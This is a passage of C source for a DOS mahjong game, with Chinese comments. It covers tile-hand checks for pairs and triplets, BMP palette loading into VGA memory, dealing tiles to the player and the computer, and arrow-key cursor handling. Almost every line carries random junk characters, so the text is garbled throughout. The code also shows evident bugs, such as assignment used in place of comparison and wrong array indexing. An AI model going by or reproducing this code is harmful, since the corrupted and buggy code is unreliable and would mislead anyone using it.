8 q/ a6 J6 |6 \7 ofor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/$ b- f- V2 T# S% x/ ~; f" J1 A
{if(kl==i)+ r; K4 i6 n: `" m" j
{( S% c& Y- f7 s5 M
kl=kl+2;2 J, j1 u# s4 M$ T. E
if(kl==8)
! }9 B! M' F; t& s3 B. ^" obreak;
5 l$ L) g, h6 D( W* s8 w}
. ^3 D. }% y8 v& gtest[ill++]=pt[kl];. [1 t/ D% O% z" b; A/ S
}( ?6 v& E5 k3 r( z/ i
isthree(test,tt-2); ( `3 |! K- {1 i2 E- }# ]& x
}
9 |4 s: S7 k1 f/ s  g4 r}
, G; }# K" S/ e& w5 pelse if(tt==9): W5 L& e+ W5 F& \8 h1 p5 g
isthree(pt,tt);8 q' S- I9 A; c) q# l1 a; W% Q; L) ]
else if(tt==11)
" X% \& b* Y5 }3 ]# r: x9 q* M5 Mfor(i=0;i&lt;10;i++)/ S( P5 z5 K4 r0 V6 S, N
{$ y/ ~4 M, `9 \5 k* |: y: }
for(j=0;j&lt;2;j++)0 u& c! t2 _  G0 H
{test[j]=pt[i+j]; 0 h' H1 J3 p* p+ J
}3 @4 G! ]8 v9 a4 y3 J2 N$ l
if(istwo(test))# o5 h2 n) X3 d' @, U
{ ill=0;
6 ?/ h2 A1 m2 {% o- o5 k7 |9 V/ zfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
# X3 B6 M/ x  }% J" b: {{if(kl==i)
/ Y) G3 I2 e& s6 u  y9 Z{/ D+ v- B& A' i% g9 q1 ~/ }! {$ a
kl=kl+2;% W0 N- }) P6 O
if(kl==11)% q6 p- w: |6 j  g  U3 A, R6 |' P
break;
4 X- t4 a; C1 U( J# H2 I}
4 s/ \* P! Z  d$ [/ Xtest[ill++]=pt[kl];% \' B8 p+ T; q4 W, e( I3 p5 v. H( z6 r
}
+ b& F5 }9 f8 Eisthree(test,tt-2);
: O# p1 X- J2 j. v}9 D# c. x% j2 N2 h0 M8 z; R
}
) p4 D( ^' g( O$ @else if(tt=12)/ {. }8 n/ r2 Z
isthree(pt,tt);
6 W3 ?: x# b3 r! b  G" eelse if(tt=14)3 `" J3 d4 V( r* R0 N3 g/ y4 P
for(i=0;i&lt;13;i++)
  P& _1 s" p3 |" f{
5 m$ O1 w9 f4 U& j3 c$ u. cfor(j=0;j&lt;2;j++)
2 g. X4 r' ~+ q1 }$ h: D: w% C% }. K{test[j]=pt[i+j];
& ?. N' o6 B" k}4 _, \9 ^" [- x; O1 p  ~
if(istwo(test))- g& m4 ^* P8 H, `  h; O
{ ill=0;0 y, U/ s5 M3 m$ S! o% f- D
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
  H$ K6 W7 U: I0 i. K{if(kl==i)+ p* E" M& y  G- v6 Y$ R! u
{+ J3 r- _: m: S5 `! J" y  ]! H
kl=kl+2;7 I6 j! D! ^% D
if(kl==14)7 ^' J7 i& I8 _7 P7 C
break;
" V: g: l. Z; y* w5 Z}$ Z! @+ L/ h6 v1 o8 S. w
test[ill++]=pt[kl];
6 B  v- R5 }( {}
  b% q3 U2 S: y: E* A* tisthree(test,tt-2); 7 s/ V- q$ m. ~) M0 f. o+ D
}
& A) _. l' O1 x7 {; X9 D. P2 I}' M' l6 k* F1 l4 ?0 a. f; g2 j
if(ii==2)
! w& C0 y+ z; V/ }: X: Iistwo(pi);5 S3 [. z9 }3 i# y7 D$ }: N
else if(ii==3)
3 x) c/ ~7 Y6 q+ m! f8 N' Y8 histhree(pi,ii);
, I; H: U3 O# U0 Lelse if(ii==5)
. ]1 ]* M% q1 S8 T7 c6 Z5 P/*pi[5]原始牌数组,假设已经升序排列*/
; D" K1 o7 [$ V, ]2 G. w$ J/*test[3]用来放置测试牌的数组*/
. b1 ^( k* p) ~* y, O; ~for(i=0;i&lt;4;i++)( i! F3 X. f$ `) E1 d( O
{/ [' f. ?( e) d2 u& g8 a
for(j=0;j&lt;2;j++)
, _0 w0 ^+ e2 Y3 f{test[j]=pi[i+j]; $ a! Z# w) D: v9 D. L
}
2 r; c5 L+ i" X6 g3 S) Q  x4 pif(istwo(test))2 y8 B  T) P" s' H+ o0 a
{ ill=0;8 F; I! q) ^( Y
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/  K/ v! a& G# K% J; S
{if(kl==i); e* o8 ~- o, ^* {+ v
{
) X& ~/ e! y) [  Okl=kl+2;
" O% D; u5 g9 A9 rif(kl==5)
8 T. b. x- ~8 }9 }+ P! u5 T) Nbreak;
: z2 t! Z! L) r3 l}/ M3 V# ^" s# x: F
test[ill++]=pw[kl];
# v# E6 Z- y) A' v4 A}
9 N7 Y2 C+ g/ i! q: T6 F; Nisthree(test);
) q8 I4 L* x5 ?6 \5 _' x}1 A2 m3 R4 _0 @# h. B
}
, F' W# o: _$ T/ Relse if(ii==6)4 p. [% {' S% u5 ~/ b9 t8 e
isthree(pi,ii);
2 V5 X9 k1 `5 |. a* K1 u+ Telse if(ii==8)* e& E: k7 v! ~
for(i=0;i&lt;7;i++)
( [3 @: f# X5 K, Q6 h' x- I2 J{
* f' t6 X4 y. A& q  r7 q. Y' Efor(j=0;j&lt;2;j++)/ v1 t: ~) b; a* S
{test[j]=pi[i+j];
& [4 a, g) C4 F}: \  T& u' `( T' Z0 W- X; h
if(istwo(test))- Z) r( q* a9 b/ B: z( A
{ ill=0;( O& O, G7 X( ^( z: Y8 F
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/5 h1 Z$ x  S9 D% o
{if(kl==i)2 F+ r# h( T0 E6 Z
{1 ^9 p( E+ F- O9 o3 n
kl=kl+2;* \: y8 Y2 V- A  k1 a
if(kl==8)
' s) }2 L$ p8 B0 Mbreak;2 X' @. P- i, t5 }% y. h, V' \
}
, J# S. l5 q3 k+ R1 w  E: S3 @- ttest[ill++]=pi[kl];1 v! g$ H$ H" y; z2 p+ T
}
+ d$ L4 X7 I. Disthree(test,ii-2);% G8 m* f' o; W7 b9 X5 d1 X; E
}
4 v5 Q; w6 |* L0 ^$ ^) z% `} 2 {+ G" @0 m+ Z9 r
else if(ii==9)
) ?# X$ f7 F* T( ~: e5 oisthree(pi,ii);
( \  o  e6 r* r( B  F5 ~else if(ii==11)- b, k+ {% g% R" d+ L9 U
for(i=0;i&lt;10;i++)
5 F) s5 ^, a; j! X" O4 r0 a% l5 X{7 e( G/ ~, W4 L- f( }
for(j=0;j&lt;2;j++)  S3 f6 {/ s% W1 n& F
{test[j]=pi[i+j]; : ~9 ~! u+ s2 [) H+ I
}
8 Y0 q% \2 ]; b6 h9 N: Aif(istwo(test))+ d6 x: D. J/ r+ {7 s( K
{ ill=0;
. t. ~- a2 H3 U. P3 S  ofor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/& H6 N/ R  g8 E6 |4 `1 `
{if(kl==i)
  l: _" t) W5 G$ \{
+ y7 D# I+ _, p7 o2 x) q$ Fkl=kl+2;7 G* _. n8 T( V! n- z+ K
if(kl==11)" r- l- W* _/ A$ R: ^9 O
break;  |; ]% _( E" B
}
( k9 b! n/ {* P7 q' B6 s- H! jtest[ill++]=pi[kl];. j9 p5 C2 T( u
}( O2 G+ T& o6 z9 T& D. _3 ~- X
isthree(test,ii-2);
+ E4 V( I/ Q5 w& l3 C}
* Z9 E4 u1 G( e' Z}
! v* E# U7 G/ Oelse if(ii=12)
& Z/ O9 w% v' k6 s0 W8 q( bisthree(pi,ii);
$ t: c1 O' [# I9 C+ o  I* K# Eelse if(ii=14)1 I! G1 y' O- C- g" [  Q& n9 D
for(i=0;i&lt;13;i++)3 ]: Q9 A1 h+ a* `
{
5 k, m4 p: c) Ufor(j=0;j&lt;2;j++)8 R9 ^' i1 ^" `( r
{test[j]=pi[i+j];
4 Q9 n: d* N# A9 C; X}6 B- M; u) W1 z" U/ j, R
if(istwo(test))+ w# v- ^! U$ }7 o, v/ Y- ]/ K
{ ill=0;
! Y9 P2 `" I( P2 p: bfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
5 e) z$ g# _" M; F  _8 M: t{if(kl==i)
$ d' {) a/ `+ [$ k" K' k{
8 G% b% G* H9 Ckl=kl+2;: D  q. k4 A$ l" r3 k5 K( v8 ?
if(kl==14)9 v8 s4 |( f6 C: L& p9 ]4 W- e
break;" O  ]2 a( |' I$ q* W. Q! x
}
* r8 x9 L. f4 N0 A) T0 k' Qtest[ill++]=pi[kl];
# o; B6 a# A4 L4 S! w3 C0 f2 X+ t}
7 b% Z  v$ J" p- e% ~isthree(test,ii-2); & K3 a4 b6 W2 F( Q- j
}
" u" j' S- i$ D} . M( w% @" S0 m
if(ff==2)
/ ]& P' i, N" n: d* D, i! w6 qistwo(pf);
& o2 A# @$ p) q6 [) Lelse if(ff==3)
- _8 N; s1 j: J) T' Aisthree(pf,ff);
# y7 s, T( w2 D, b: oelse if(ff==5)9 B$ p- H7 C2 V6 V
/*pf[5]原始牌数组,假设已经升序排列*/4 p4 o& m8 ]% h7 d8 N# O/ u2 d6 d
/*test[3]用来放置测试牌的数组*// J. a  E- h2 v3 T. i- m
for(i=0;i&lt;4;i++)
  Y* J' w( h* T7 f# X{
1 Y3 O, `5 I3 U# U9 m- |, dfor(j=0;j&lt;2;j++)
+ \7 C8 l6 D6 I& ~% X! a{test[j]=pf[i+j]; 5 C9 Y0 B# Y; e- C9 U/ o
}+ D; T5 y! q% B0 [, `
if(istwo(test))
* k0 L, y. A6 r$ X3 x4 x8 a0 b{ ill=0;
0 k1 ~6 W( h! q6 S; q$ u1 h  ~for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/" j3 T9 J$ l% a9 t3 v
{if(kl==i)
8 s6 h  j. |, y% x; p( d7 i{, u# [& ~% L5 V; q0 k: n  w
kl=kl+2;9 Y7 k& v8 |6 l) j: E# @# `" z
if(kl==5)! F! n( l7 ^. ]: C
break;
2 \7 |$ {1 m+ K) M6 K. R}
% u! Y6 s9 m& gtest[ill++]=pf[kl];
! i% ]( P/ ^4 r! A! T( h}
$ J- s& u, d! ^2 F( w0 Aisthree(test);
" K8 ^0 @# k4 J- o2 I$ t}4 S9 {3 C  Q2 z
}
, L* t( b/ t% `2 ?6 i5 f. selse if(ff==6)( n# l8 y! Q% P% O) x" K3 S- j
isthree(pf,ff); 5 |6 d1 Z# ]5 K1 n3 C6 J
else if(ff==8)" {+ N" }, H. T0 P4 Y
for(i=0;i&lt;7;i++)
, J% ?4 t& p1 _* `# a( H{/ x) z& R! Y5 y3 }1 O; T
for(j=0;j&lt;2;j++)
0 A9 I# ~# i7 J8 e3 `{test[j]=pf[i+j]; 4 F, [$ x; L+ f; w
}
5 ~8 e7 j6 T: d/ z. A+ ]$ G/ `5 sif(istwo(test)), i6 h8 L0 U5 y
{ ill=0;3 w7 \1 p! ?- ]
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
+ p( N  Q* Q8 K2 Q9 C7 t{if(kl==i)
' v5 |8 z0 i' l{" H2 U8 Q( R* I6 a
kl=kl+2;
9 p" K+ ^* e1 L" d+ v% Bif(kl==8)
5 e) T: k( L  C! Pbreak;: E1 m4 g9 g' x6 F6 ?+ C, {1 v
}
/ v$ g* }- x! Q* X8 a# ntest[ill++]=pf[kl];
4 ?6 Y0 Q" v* y& x% R}
( F6 F" p% N$ s% A, P! s% }. sisthree(test,ff-2);
( G- |/ p" J( `}
* P1 c8 p) p6 I& V3 ~& F6 T}
6 g) V9 W. `2 v8 Delse if(ff==9)9 o% t8 T1 Z. H* X0 O" q) a3 i! v
isthree(pw,ww);
5 h+ q8 o4 Q! h$ Z0 Celse if(ff==11)! ?# R; S8 I8 Y9 [" Z  k
for(i=0;i&lt;10;i++)
( X9 X; P( Q8 i' d- k- Q( M7 `1 S{
6 j% S0 r. t: ?$ I2 q  t9 cfor(j=0;j&lt;2;j++)
: m5 b" ~4 [: }: _; e, s5 c' T{test[j]=pf[i+j]; * a6 R/ J7 c$ l- _/ P: C
}/ w  r; J0 T2 \# [, X$ b
if(istwo(test))7 k% _  K. B& `. H8 F' T+ n
{ ill=0;
& ^9 p6 i+ R$ A& f$ Cfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
  P7 y4 _. A/ v7 s5 p{if(kl==i)
5 D4 X! {0 \" G7 _4 d6 U% v) A{
. ?5 b/ S8 D* nkl=kl+2;
, o+ l7 F( p4 e0 O2 aif(kl==11)  J- ^0 N) l9 p9 O; u5 Z
break;
" g8 s8 ]7 y5 a7 |* ?}
# b" t* Q, O) J5 \) ~% R2 z# qtest[ill++]=pf[kl];! `8 v6 a% s& N; w. B0 x% Q
}
5 V# Z; f4 V0 B9 h( @" P! \1 E0 yisthree(test,ff-2); 9 V4 o8 `/ p8 y
}
9 ^3 w* k) S* |4 j# ]5 f} " L) d8 y( @/ k% s9 `  s
else if(ff=12)
, o% [8 y' R% fisthree(pf,ff);9 t; {4 j. v9 u" f9 C* U# p) n
else if(ff=14)
. c( J6 E, M, U! lfor(i=0;i&lt;13;i++)4 J) @8 {# L* n+ y2 e  s+ T
{8 d9 T8 b3 y' Y4 U- V: {% ^
for(j=0;j&lt;2;j++), [+ w' s7 k0 \# t( h5 J, C9 d
{test[j]=pf[i+j]; 8 i+ N( ]! I9 x: m) D
}
# k' R3 @6 E. W6 P& O$ mif(istwo(test))/ u8 x& b7 n6 A4 n5 G/ C4 s3 x
{ ill=0;
$ v3 r. r- R7 ?4 Y7 vfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
  ]& c  p5 f. _* M0 n1 A* A6 }{if(kl==i)
1 \& ~# C4 o& H* D7 W{
8 i: ^! L: K* d: G0 M8 kkl=kl+2;/ i/ Q3 i0 d9 V" y8 C4 y
if(kl==14)
$ I$ w; x4 z" Y7 `break;
0 p1 M& n% r; j3 x* i}  C3 `3 }% e/ E. |! K" b% U# ]7 J
test[ill++]=pf[kl];
) F! X+ u1 |1 `  a8 f) C}7 b8 ?  Q1 X' q. o: Q
isthree(test,ff-2);4 C. q" J8 p' F) K6 z& ^' Z
}8 l: A. x9 _1 d- X/ `; L& @' d
} ' d* J, @9 Y7 v+ k: u
}5 G  `2 P" N9 _, |
void main(void)! `- a3 ?" P- t/ }. m5 L& y
{8 Q5 C- j& U7 Q3 T% f3 I
FILE *bmp;( x, d) c- w, \- N1 I8 ]+ P* \9 E1 ^
static char *name[2]={"ff.bmp","logo.bmp"};
5 r6 E( y# K9 c1 cchar *p;
3 I9 X" w7 J6 }, K; x# nint *lingshi;
0 L) d) ]. l& D: ^1 v. W$ Iint x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
) ^1 T, E7 Z& u4 o$ }; L' q; D9 _int every=0,w=0,x1,x2,y1,y2,every1=0;
3 v& `6 X9 M% N: `' }int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;
2 I) ~6 O. d1 r, Z: e7 y+ R2 ]  H: [) jBYTE palette[256][3];
7 R( ~  i6 F6 b3 e/ o6 n( kSETVGA;
8 |+ F: L" T9 a  Kgetch();6 [8 e% T; f* a8 F" }
while(t--)
- g& Q  o8 ^& Z# ]5 z$ a* T{
* G7 ^6 e  b3 W0 i7 _bmp=fopen(name[t],"rb");# n: A' Z! \2 V' z
fseek(bmp,54,SEEK_SET);; S, a8 b) B) v! e* h( e4 Z
for(i=0;i&lt;256;i++)
) Y( q* s! _+ h( y# {* y{( d: l0 P% A/ w: \
palette[2]=fgetc(bmp)&gt;&gt;2;; g- [/ ?/ H7 o# ?) n# m+ D8 B6 `
palette[1]=fgetc(bmp)&gt;&gt;2;
+ x+ `/ h0 F& V( w, e+ R* ^+ Q5 _8 jpalette[0]=fgetc(bmp)&gt;&gt;2;
, n- I8 E: |* k+ y' T+ \fgetc(bmp);
; h( r$ G6 ^+ ?& `Set_Palette(i,palette[0],palette[1],palette[2]);
" |# z4 ]4 k+ w6 }}
7 j$ W9 Z% _8 kfor (y=0;y&lt;200;y++)1 g$ `6 N' Y& d" ^' F8 Q0 S, Z
for(x=0;x&lt;320;x++)( T$ j8 T! B8 V
pokeb(0xa000,y*320+x,fgetc(bmp));  i8 g: s( g- P3 Z6 s$ x1 T9 B
fclose(bmp);* t: a- J! O* T1 [! J3 [
getch();
* `5 s; c+ h7 D, @4 [}
$ g+ M2 ~) \& V: S  f/ T" Igetch();$ v- S* L7 B% S. g- P
fillRectangle(0,0,320,200,0);3 a$ D2 M: }3 ?+ B5 V5 I
getch();
/ q. P" d. X" S4 xrandomize();
- \/ o3 z% }2 F* Hme.m=onetothirteen;
& V; R. h) P3 a' R1 t* @while(me.m&gt;0) /*先循环,给自己拿牌*/  e" ~$ d7 Z# y4 z
{! _8 C( Z# E* w; y; o; }
: p0 x2 ]  W3 @/ J5 ?
temp=random(136);; h, W" z; A) P6 d  M7 W; q* [
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
- Q2 [% R2 q* w+ z8 w{
- E8 u+ n1 E" K* {- n/ K: Gme.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/( B3 M, d5 r0 a$ Q. D# h
me.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
6 r$ [3 i- I4 n3 X5 Eme.pp[n].number=temp; /*第几张,用来排序*/' Z% j7 c7 h4 ~% t3 q0 g/ V
m[temp].data2=1; /*判断牌是谁的*/2 E% Y( g, ]# V6 g0 o0 ~
kk=1;
- w* j# M+ C6 M# |}
$ e5 ^" A0 \' B1 B" {+ v% Y( iif(kk==0) /*判断如果又选择了,就从新再选*/
7 ?3 y- t0 x- V! O: n6 }{
9 q1 ~; V5 D( Q% z& w1 tme.m++;
2 F  Q; v  l: w, rn--;+ P4 K% ^: _' @% z
}
" u" _& D! T" K( h" V9 Cme.m--;
% m1 W$ C5 R# Jn++;! k; u' {# w5 D6 S; C. R
kk=0;
  c) V6 Z, E" S' g- C/ g}% b1 R3 N" K+ I( {1 d: w' ]
me.m=12;
# n% s' m: n! o  I( P- P. Lmelipai(); /*理牌*/3 A* m- K$ m) U, i

0 t( F& O* q* Sn=13;
  L+ F6 j# A9 I' T0 @" {. _while(l&lt;n)' j6 Z" O; G* q; U1 ]% E9 F
{3 @1 y# A6 N& `% `4 {! A
z=z+20;/ D4 Q2 m1 {3 ~. K* T7 R6 ^
showbmp(l);
0 G- d2 D1 Q4 e' W1 O# il++;& W. E8 Y$ s, H' a, J7 p
" k: w! R: F# y0 u2 }1 e3 |7 O
}
: `7 [; q6 ?! x( [7 w" Brandomize();
% H9 V, N- w" ~% n8 W! D( qcomputer.m=oneorthirteen;
. S0 J# b" q1 X; }n=0;( d9 r% U' m& b. Z' d0 Z) l, P( W) V$ b
while(computer.m&gt;0) /*循环,给对方拿牌*/
+ G) A/ V- K4 h! d7 D2 t{
: M! w: C, \0 H0 @# Btemp=random(136);) }9 g# h! ]+ g$ |6 V
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)! g. A8 E9 X( R% Z
{* ~1 G7 c8 @2 I% k( R: s8 ^6 j
computer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
. ]# t" U: }0 L0 @. @computer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
; M2 K0 p! f; C" t2 Gcomputer.pp[n].number=temp; /*第几张,用来排序*/
( v. K8 Z: N5 F: `" X, A' u' `3 um[temp].data2=2; /*判断牌是谁的,2为电脑*/
5 Q+ {5 m, Y4 R+ dkk=1;% P7 P, _# e) Z( ~: H
}
6 N1 h8 X4 I/ @( g0 B5 Wif(kk==0) /*判断如果又选择了,就从新再选*/$ W# r3 _/ x9 E# j
{
% d* z5 k3 B7 F- U! ycomputer.m++;) ^# y, C% m) j4 _
n--;
' w5 x' i# `  C/ ~}
: H7 Y& U6 f9 _9 z. @* qcomputer.m--;
, Y' v/ B, ]4 Q! ?6 P  Sn++;
7 h1 M# a" }: c  H4 h- Okk=0;/ Y0 n! G3 X4 f( t. U7 L" X4 j
}$ a1 t% q* t6 Q9 s6 {3 v
computer.m=12;# O3 N! \; A3 a" J% v
comlipai(); /*电脑理牌*/
; y  L( ^$ ]8 J( Un=13;, o8 T! O4 N% @) B" j) j
while(ll&lt;n)) a( x6 k0 }& Y( t4 g* T- }  L
{
8 y: K/ M8 T" h- F) w! G1 l, zzy=zy+20;
3 \& j" i0 q# J0 R  M1 l7 ]showybmp(ll);  X- X* s/ n7 B+ [! g1 [; t
ll++;
5 y% e4 i' v7 F" ^# V}
- S. U. P% M! L2 B8 [7 v3 z) G- A$ {& q6 {" X/ u
z=54400;
$ o) ?0 c/ a& s: ?3 E0 l( P6 J5 gwhile(key!=ESC)
+ G% K" E+ k  q{ 1 K& ^; s  x0 Y  K
5 v8 {8 E7 \9 k5 J- `# L3 ?
keyy=bioskey(0);
8 `% [, R8 p6 eif(keyy==LEFT)
' ^' Z+ a) N9 V, |$ V0 f0 H6 ]1 W1 M6 f{ w=1;
, m4 J) L; h) b7 z- |2 e( ^. Mif(every==0)
+ I3 Z' p0 P& @/ @  ]1 f7 U: S{
; {& ?  k; G% w; i! b! fevery=1;
! m) T, c+ W- e4 ?) `8 s% I5 hz=54440-5*320;4 s+ |5 R, X1 n8 k( f; R0 ?! E
! S2 L7 ]$ _: S
}$ q4 s+ q8 [& ?1 l
zz=zz+5*320;
. t4 a+ Z- T, yshowbmp(every);# J0 h3 t2 _- Y# I* O( Y, ]6 @4 T
if(every==0)* O$ ?  y$ B. j0 @4 U7 M6 V
{
3 H' k- Q% }& l  A8 Nx1=20;% q* v; J  w+ o0 f- b4 j# E
y1=165;
7 r( _! K% b, _: k) wfillRectangle(x1,y1,x1+20,y1+4,0);
1 r+ c2 K  ?$ s* a}
4 z/ @/ O. m4 b$ Q2 U" s( C+ Eif(every==1)
4 z7 z  e  q% A" w{  }* p% t, Y5 X: n$ K
x1=40;5 s" V" m8 z" p" [. t& F0 d/ C
y1=165;
" i+ ^7 C/ }+ q$ P1 r( L( jfillRectangle(x1,y1,x1+20,y1+4,0);
7 J5 F- s3 K) j* U: s}
, B( \& S/ `. S' Xif(every==2)
- j/ {& p& ~& c7 ?$ G4 C{3 @5 J5 _2 J% U  C2 x2 w
x1=60;9 K5 O- j  J9 l% q( [
y1=165;2 |& Z7 a: T; U5 J6 Y+ S5 e7 N
fillRectangle(x1,y1,x1+20,y1+4,0);
6 g1 u) ~( B5 G7 q}
  {" ]* s! x4 M8 a+ |$ Oif(every==3)) Q  z' O( ]1 `7 @- l9 |
{
! e+ I/ z: ^+ J6 @x1=80;' _6 K1 H* @, {6 g5 Z0 F
y1=165;: |& V9 H# H6 @& d0 f
fillRectangle(x1,y1,x1+20,y1+4,0);% }0 A5 b: r2 n+ ~
}
8 B8 ]6 L. u/ E, r# D! Zif(every==4)
+ o7 ^" O. Y& ]( R{
* y. [9 T5 A* q6 lx1=100;
: ]0 j4 P/ H8 S9 ~8 m- X* S5 sy1=165;6 n# x0 l/ A7 z9 Z/ U4 L
fillRectangle(x1,y1,x1+20,y1+4,0);
: K% w" [! \! g; Y  p/ M  [}- h0 O# I) B: T) h- b7 f
if(every==5)
* m3 {1 S/ }  ^& O) V0 D; @{
5 z; n( U% s/ w! w: dx1=120;
( K: i0 g5 O8 i/ @) D+ c' wy1=165;0 W8 H' }6 [! z! |- `& }/ A
fillRectangle(x1,y1,x1+20,y1+4,0);
. i0 H7 G7 W6 u}
- w/ K( |" e1 B2 b- \1 t8 \# k' Rif(every==6)
( n- \6 B- B. t4 d; C5 g8 m{/ P" ~. e1 y$ d  H. c) h1 t
x1=140;
* x5 N/ `( i2 U: by1=165;. u6 ]! ^, O1 ^
fillRectangle(x1,y1,x1+20,y1+4,0);
1 U) P" V( I$ L' v: `) N}
+ N4 z* U% ^$ s5 Aif(every==7)  d  G# m  `6 j- E6 [: I
{
: _+ f5 `7 W3 P$ j) ^x1=160;, |+ G2 z7 m( O
y1=165;
! t# T& ?" Q  e9 x1 ]1 V& dfillRectangle(x1,y1,x1+20,y1+4,0);
; o2 @* D4 D' J. Q+ b}8 c  F( u& C7 ?1 f
if(every==8)( d% \. V* w* U
{6 G& P. T" j, B# m( l
x1=180;" V/ r9 A2 F* A! A5 B
y1=165;
$ F& t  q$ Z3 P% G+ x8 r8 q% v) PfillRectangle(x1,y1,x1+20,y1+4,0);4 l7 a) I7 H; ]+ g# p8 l$ a
}
/ C1 a- y1 e7 {: U5 W+ {1 q' Tif(every==9)
# u$ p# t  c2 c0 ]{
! L9 t" V; [3 sx1=200;0 u5 O- _$ v  y) b
y1=165;1 ?0 V9 P' D1 ?0 B+ z# y3 e
fillRectangle(x1,y1,x1+20,y1+4,0);( ?3 [4 Q4 F1 m: T
}# w: q4 Z  ]  G7 `
if(every==10)
. a) c* D$ r! B+ A5 t7 d{- j: Q5 v/ a/ v8 q) M
x1=220;: E  h4 H; |1 X9 [6 l
y1=165;  V3 B4 e; J3 P6 V4 d1 m+ {/ b2 Q% s
fillRectangle(x1,y1,x1+20,y1+4,0);  l8 e: `0 S$ H0 z! Q
}
: O7 \$ }3 \  X; x: jif(every==11)
& R) O5 r, w) a2 P{
2 g$ S, N6 L9 y7 N& ox1=240;9 h% }7 E: C2 l5 k, @
y1=165;- Y9 B3 e( G, w# S6 b. O, e
fillRectangle(x1,y1,x1+20,y1+4,0);$ O! h3 i# g5 o9 }# Q; V
}3 a4 H/ O+ w2 s+ N4 v2 h
if(every==12)
* s) C6 }2 q3 Z. z' G{0 o% B5 J6 D7 h/ O( K0 Y3 u
x1=260;
$ ~& I& r% j! p# |8 zy1=165;9 M' N% T6 E+ l% ]$ P
fillRectangle(x1,y1,x1+20,y1+4,0);6 A+ t& n. m! s
}- \$ G7 c/ M3 r1 U  u
zz=0;
3 u; ^8 G& U& w+ k$ Qevery--;
3 [' v4 E5 {2 }z=z-20;  k* C! f: P% d% j( Z
}
  W4 r2 H# _" `if(keyy==RIGHT): v# k+ w/ e2 L3 s
{ if(w==0)
: p4 u- z( z% [3 \5 o9 @5 @{
9 J7 T- J2 ^2 N7 y# t$ zz=54440-5*320;
+ s; i8 k; U  P# x) \# X6 a4 `) s& m0 sz=z-20;
( k  Z: r! d4 \# {w=1;
2 x( c& ~9 Y9 W+ _# s! A+ a2 n) _6 Z* u}
5 A0 e- G! n1 F& ^# Q6 xif(every==12)
! W4 M9 }- X/ p{: }; B% I) l8 F  B5 @
every=11;
- `  ?0 i" s0 sz=54640-5*320;: x- b' G3 U% @
}
- O) ]8 x+ J# u: Q9 czz=zz+5*320;3 m" D8 d- |$ z9 d' g6 I3 Z
showbmp(every);# e/ _0 ]: e$ m3 R/ V
if(every==0)! c6 Q6 Y' ?& r  T9 f9 V0 c
{/ ~; U! u. T5 U: k9 d, _6 T
x1=20;* v0 o" Z% L8 a7 t, {
y1=165;( r  X. f6 e& o- X
fillRectangle(x1,y1,x1+20,y1+4,0);% K! D4 _8 H2 i% \
}
, [- j0 w: s" F) pif(every==1)' [. @0 K0 q3 h, ]9 R' J' D
{6 X# f5 K$ x% A; y' g
x1=40;% |0 G# b' I) V$ w& w" n+ l4 T
y1=165;
% L$ D; K1 V$ n, o0 P+ s: MfillRectangle(x1,y1,x1+20,y1+4,0);
# o: F) l- y. n( F}3 l* H) {4 n5 i6 ?- [/ {
if(every==2)# n- e0 O; L# F4 ?5 C
{
- B$ Y0 }' q2 zx1=60;2 c4 h: _0 ], h7 j* }' C: c; g- }' |) R
y1=165;. V+ p3 q7 S9 [! y% r# t
fillRectangle(x1,y1,x1+20,y1+4,0);4 J( t, P( z, p0 w8 r
}
" z& e2 |( b  y% b6 R) N; Tif(every==3)! y) p4 U: b2 S# v' b
{; ~, e5 t! n3 a6 e1 o& u; b
x1=80;
' w) V$ q0 E7 y( K( h1 Py1=165;
7 {8 `$ j/ w0 r9 T8 q, nfillRectangle(x1,y1,x1+20,y1+4,0);
* O! P8 y- q( m6 m+ c: U}
1 D2 p! a6 c! k7 v4 j! {5 Kif(every==4)
( F0 R. e4 W& O. X{
$ c3 `! B$ U( Q! r, j, Zx1=100;
1 O4 }1 F7 D2 P6 c( e* Y* p& z& W8 Iy1=165;
$ f  p! Y# z5 G) H. \fillRectangle(x1,y1,x1+20,y1+4,0);0 c0 v( v4 f) F9 f
}
" n. N  p7 J9 }if(every==5)
# r+ [. E4 C  v# F8 a( Y% H{
! u7 `" g! R) v- ^x1=120;" k  Z8 M1 I  k/ M
y1=165;
% u% _2 E! w$ M  K, b: B% ~1 L6 c6 ]& dfillRectangle(x1,y1,x1+20,y1+4,0);
' d) ~/ Y& n( s& Q  {}
' ]8 y3 w6 K  e- i$ c% dif(every==6)
! Y5 g( ~$ z1 j{
3 Q& t% b% j1 S% A) k  Gx1=140;/ [, v, N. a: ]' Z4 u
y1=165;
' j+ y% L- f6 y$ rfillRectangle(x1,y1,x1+20,y1+4,0);( p. ]: e8 s/ ?
}
' c( f, R. D0 g# U- Xif(every==7)& H7 s1 D1 |) |% K" f% Z, y( ^9 W! Y
{
3 ~5 r  S! w( V* {) r" Dx1=160;
! Q' I, E* n9 N' ^- J. iy1=165;1 B; K5 I! @" ]8 I* A5 |
fillRectangle(x1,y1,x1+20,y1+4,0);' o- O$ r+ h7 [1 Y" o  l# x
}9 }* C: H/ \! C& b# U' f
if(every==8)1 F- w. ?* o) H2 }4 S
{4 N) X. c- h6 b7 [/ `- \% G) L. X
x1=180;
% G# G; ]* E& [* I  _$ `) v# i0 Ry1=165;
